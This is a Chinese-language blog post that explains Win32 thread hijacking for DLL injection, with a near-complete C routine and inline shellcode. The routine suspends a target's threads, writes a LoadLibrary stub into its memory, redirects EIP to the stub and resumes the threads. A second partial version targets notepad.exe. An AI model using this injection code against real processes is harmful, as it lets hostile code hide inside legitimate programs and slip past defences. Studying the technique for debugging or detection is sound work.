Win32线程劫持-Suspend-Inject-Resume

Win32线程劫持-Suspend-Inject-Resume


  • 所谓线程劫持,就是利用目标进程已有的线程执行自己的代码,而不用自己再在目标进程中创建新的线程。其核心就是Suspend(选择目标进程中的一个非等待状态的线程)-Inject(将EIP指向我们已经写入目标进程虚拟地址空间中的代码的起始地址)-Resume(恢复该线程的执行,这样一来目标线程将执行我们的代码),这种方法最关键的一点就是在目标线程执行完我们的代码之后,我们需要确保其返回原来执行的位置并且其通用寄存器以及其它的状态寄存器的状态不变。

  • 核心函数如下

VOID suspendInjectResume(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) {
    /*
        This is a mixture from the following sites:

            http://syprog.blogspot.com/2012/05/createremotethread-bypass-windows.html
            http://www.kdsbest.com/?p=159

    */

    HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
    HANDLE hSnapshot2 = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
    HANDLE thread = NULL;
    THREADENTRY32   te;
    THREADENTRY32   te2;

    CONTEXT         ctx;
    DWORD firstThread = 0;
    HANDLE targetThread = NULL;

    LPVOID scAddr;

    int i;

    unsigned char sc[] = {
            // Push all flags
            0x9C,
            // Push all register
            0x60,
            // Push 3,4,5,6 (dllPathAddr)
            0x68, 0xAA, 0xAA, 0xAA, 0xAA, 
            // Mov eax, 8,9,10, 11 (loadLibAddr)
            0xB8, 0xBB, 0xBB, 0xBB, 0xBB,
            // Call eax
            0xFF, 0xD0,
            // Pop all register
            0x61,
            // Pop all flags
            0x9D,
            // Ret
            0xC3
        };

    te.dwSize = sizeof(THREADENTRY32);
    te2.dwSize = sizeof(THREADENTRY32);
    ctx.ContextFlags = CONTEXT_FULL;

    sc[3] = ((unsigned int) dllPathAddr & 0xFF);
    sc[4] = (((unsigned int) dllPathAddr >> 8 )& 0xFF);
    sc[5] = (((unsigned int) dllPathAddr >> 16 )& 0xFF);
    sc[6] = (((unsigned int) dllPathAddr >> 24 )& 0xFF);

    sc[8] = ((unsigned int) loadLibAddr & 0xFF);
    sc[9] = (((unsigned int) loadLibAddr >> 8 )& 0xFF);
    sc[10] = (((unsigned int) loadLibAddr >> 16 )& 0xFF);
    sc[11] = (((unsigned int) loadLibAddr >> 24 )& 0xFF);



    // Suspend Threads
    if(Thread32First(hSnapshot, &te)) {
        do {
            if(te.th32OwnerProcessID == GetProcessId(hHandle)) {
                if ( firstThread == 0 )
                    firstThread = te.th32ThreadID;
                thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te.th32ThreadID);
                if(thread != NULL) {
                    printf("\t[+] Suspending Thread 0x%08x\n", te.th32ThreadID);
                    SuspendThread(thread);
                    CloseHandle(thread);
                } else {
                    printf("\t[+] Could not open thread!\n");
                }
            }
        } while(Thread32Next(hSnapshot, &te));
    } else {
        printf("\t[+] Could not Thread32First! [%d]\n", GetLastError());
        CloseHandle(hSnapshot);
        exit(-1);
    }
    CloseHandle(hSnapshot);

    printf("\t[+] Our Launcher Code:\n\t");
    for (i=0; i<17; i++)
        printf("%02x ",sc[i]);
    printf("\n");
    //  Get/Save EIP, Inject
    printf("\t[+] Targeting Thread 0x%08x\n",firstThread);
    targetThread = OpenThread(THREAD_ALL_ACCESS, FALSE, firstThread);
    if (GetThreadContext(targetThread, &ctx) == 0) 
        printf("[!] GetThreadContext Failed!\n");
    printf("\t[+] Current Registers: \n\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp);

    printf("\t[+] Saving EIP for our return\n");
    ctx.Esp -= sizeof(unsigned int);
    WriteProcessMemory(hHandle, (LPVOID)ctx.Esp, (LPCVOID)&ctx.Eip, sizeof(unsigned int), NULL);
    printf("\t\tEIP[0x%08x] ESP[0x%08x] EBP[0x%08x]\n", ctx.Eip, ctx.Esp, ctx.Ebp);

    scAddr = VirtualAllocEx(hHandle, NULL, 17, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    printf("\t[+] Allocating 17 bytes for our Launcher Code [0x%08x][%d]\n", scAddr, GetLastError());

    printf ("\t[+] Writing Launcher Code into targetThread [%d]\n", WriteProcessMemory(hHandle, scAddr, (LPCVOID)sc, 17, NULL));

    printf("\t[+] Setting EIP to LauncherCode\n");
    ctx.Eip = (DWORD)scAddr;
    printf("\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp);

    if (SetThreadContext(targetThread, &ctx) == 0) 
        printf("[!] SetThreadContext Failed!\n");

    // Resume Threads
    hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
    te.dwSize = sizeof(THREADENTRY32);

    if(Thread32First(hSnapshot2, &te2)) {
        do {
            if(te2.th32OwnerProcessID == GetProcessId(hHandle)) {
                thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te2.th32ThreadID);
                if(thread != NULL) {
                    printf("\t[+] Resuming Thread 0x%08x\n", te2.th32ThreadID);
                    ResumeThread(thread);
                    if (te2.th32ThreadID == firstThread) 
                        WaitForSingleObject(thread, 5000);
                    CloseHandle(thread);
                } else {
                    printf("\t[+] Could not open thread!\n");
                }
            }
        } while(Thread32Next(hSnapshot2, &te2));
    } else {
        printf("\t[+] Could not Thread32First! [%d]\n", GetLastError());
        CloseHandle(hSnapshot2);
        exit(-1);
    }
    CloseHandle(hSnapshot2);
}

之前写的一个比较笨的实现方法


  • 上面的代码是网上的代码,而我之前也写过一个实现,刚刚找到了就贴在这里。

  • 查找目标进程的代码不需要过多的解析了

int _tmain(int argc,char** argv)
{
    CToolhelp           ProceeHelp(TH32CS_SNAPPROCESS);
    PROCESSENTRY32      pe = {0};
    pe.dwSize = sizeof(pe);
    if(ProceeHelp.ProcessFirst(&pe))
    {
        while(ProceeHelp.ProcessNext(&pe))
        {
            if(!stricmp(pe.szExeFile,"notepad.exe"))
            {
                CHAR*           szDll = "\\SimpleDll.dll";
                CHAR            szFullPath[MAX_PATH] = {0};
                GetCurrentDirectory(MAX_PATH,szFullPath);
                strcat(szFullPath,szDll);
                if(Inject(pe.th32ProcessID,szFullPath))
                {
                    ShowMessage(_T("注入成功"));
                }
                else
                {
                    ShowMessage(_T("注入失败"));
                }
                break;
            }
        }
    }
    return 0;
}
  • 核心的汇编代码
#define MY_EIP      0x12345670
#define MY_ST1      0x12345671
#define MY_FUN      0x12345673
#define MY_END      0x12345674

// 告诉编译器,函数代码的汇编语言为自己所写的,不需要编译器添加任何汇编代码,即生成纯汇编
// 需要在开始的时候保存上下文标志(push)并在结束的时候回复上下文(pop) 并在结尾添加ret 命令
void __declspec(naked) __stdcall ASM_RemoteFunc()
{
    __asm
    {
        call    Next;
Next:
        pushfd;
        pushad;
        push MY_ST1
            mov eax,MY_FUN
            call eax
            popad;
        popfd;
        mov DWORD PTR [esp],MY_EIP
        ret;
        push MY_END
    }
}
PVOID Find_Ptr(PVOID BeginPoint,ULONG_PTR Flags)
{
    PVOID   ret_ptr = NULL;
    __asm
    {
        mov eax,BeginPoint
            jmp comp
diff:   inc eax
comp:   mov ebx,[eax]
        cmp ebx,Flags
            jnz diff
            mov ret_ptr,eax
    }
    return ret_ptr;
}

       后面的操作就不详细说了,就是得到LoadLibrary函数的地址,得到DLL path 的地址以及得到原来的EIP 的地址,得到了之后应该修正里面的偏移值,最后根据MY_END的值得到指令的大小等等的类似的操作。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值